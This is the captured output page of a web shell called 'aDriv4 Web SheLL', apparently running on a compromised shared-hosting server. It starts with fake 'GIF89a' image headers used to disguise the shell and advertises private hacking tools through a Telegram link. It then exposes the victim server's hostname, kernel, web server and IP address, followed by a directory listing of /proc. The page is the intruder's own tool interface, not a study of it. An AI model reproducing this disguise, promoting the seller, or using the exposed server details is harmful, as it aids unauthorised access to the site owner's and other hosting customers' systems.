GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium52.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 198.54.120.81
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-27 07:20:37
.. dir - root/root 0755 2025-08-02 08:53:51
1057370 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1248959 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1252714 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:33:44
1254208 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1254908 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1255453 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1256987 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1257715 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1257850 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
1258604 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
334232 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
418963 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
422934 dir - rhodccbh/rhodccbh 0555 2025-12-19 07:34:01
acpi dir - root/root 0555 2025-07-27 07:20:40
bus dir - root/root 0555 2025-07-27 07:20:49
driver dir - root/root 0555 2025-12-19 07:34:02
fs dir - root/root 0555 2025-07-27 07:20:49
irq dir - root/root 0555 2025-07-27 07:20:49
kcare dir - root/root 0555 2025-12-19 07:34:02
lve dir - root/root 0555 2025-12-19 07:34:02
net link - rhodccbh/rhodccbh 0555 2025-12-19 07:34:02
scsi dir - root/root 0555 2025-07-27 07:20:49
self link - rhodccbh/rhodccbh 0555 2025-12-19 07:33:44
sys dir - root/root 0555 2025-07-27 07:20:38
sysvipc dir - root/root 0555 2025-12-19 07:34:02
thread-self link - rhodccbh/rhodccbh 0555 2025-12-19 07:34:02
tty dir - root/root 0555 2025-12-19 07:34:02
buddyinfo 0 B root/root 0444 2025-12-19 07:34:02
cgroups 0 B root/root 0444 2025-12-19 07:34:02
cmdline text/plain 0 B root/root 0444 2025-12-19 07:34:01
consoles 0 B root/root 0444 2025-12-19 07:34:02
cpuinfo text/plain 0 B root/root 0444 2025-12-19 07:34:02
crypto 0 B root/root 0444 2025-12-19 07:34:02
devices 0 B root/root 0444 2025-12-19 07:34:02
diskstats 0 B root/root 0444 2025-12-19 07:34:02
dma 0 B root/root 0444 2025-12-19 07:34:02
execdomains 0 B root/root 0444 2025-12-19 07:34:02
fb 0 B root/root 0444 2025-12-19 07:34:02
filesystems text/plain 0 B root/root 0444 2025-12-19 07:34:00
interrupts 0 B root/root 0444 2025-12-19 07:34:02
iomem 0 B root/root 0444 2025-12-19 07:34:02
ioports 0 B root/root 0444 2025-12-19 07:34:02
kallsyms 0 B root/root 0444 2025-07-27 07:20:49
kcore 128 TB root/root 0400 2025-07-27 07:20:40
key-users 0 B root/root 0444 2025-12-19 07:34:02
keys 0 B root/root 0444 2025-12-19 07:34:02
kmsg 0 B root/root 0400 2025-12-19 07:34:02
kpagecgroup 0 B root/root 0400 2025-12-19 07:34:02
kpagecount 0 B root/root 0400 2025-12-19 07:34:02
kpageflags 0 B root/root 0400 2025-12-19 07:34:02
loadavg text/plain 0 B root/root 0444 2025-12-19 07:34:02
locks 0 B root/root 0444 2025-12-19 07:34:02
mdstat 0 B root/root 0444 2025-12-19 07:34:02
meminfo text/plain 0 B root/root 0444 2025-12-19 07:34:02
misc 0 B root/root 0444 2025-12-19 07:34:02
modules 0 B root/root 0444 2025-12-19 07:34:02
mounts text/plain 0 B rhodccbh/rhodccbh 0444 2025-12-19 07:34:02
mtrr 0 B root/root 0644 2025-07-27 07:20:49
pagetypeinfo 0 B root/root 0400 2025-12-19 07:34:02
partitions 0 B root/root 0444 2025-12-19 07:34:02
sched_debug 0 B root/root 0444 2025-12-19 07:34:02
schedstat 0 B root/root 0444 2025-12-19 07:34:02
slabinfo 0 B root/root 0400 2025-12-19 07:34:02
softirqs 0 B root/root 0444 2025-12-19 07:34:02
stat text/plain 0 B root/root 0444 2025-12-19 07:34:01
swaps 0 B root/root 0444 2025-07-27 07:20:38
sysrq-trigger 0 B root/root 0200 2025-07-27 07:20:49
timer_list 0 B root/root 0400 2025-12-19 07:34:02
uptime text/plain 0 B root/root 0444 2025-12-19 07:34:02
version text/plain 0 B root/root 0444 2025-12-19 07:34:02
vmallocinfo 0 B root/root 0400 2025-12-19 07:34:02
vmstat 0 B root/root 0444 2025-12-19 07:34:02
zoneinfo 0 B root/root 0444 2025-12-19 07:34:02
© aDriv4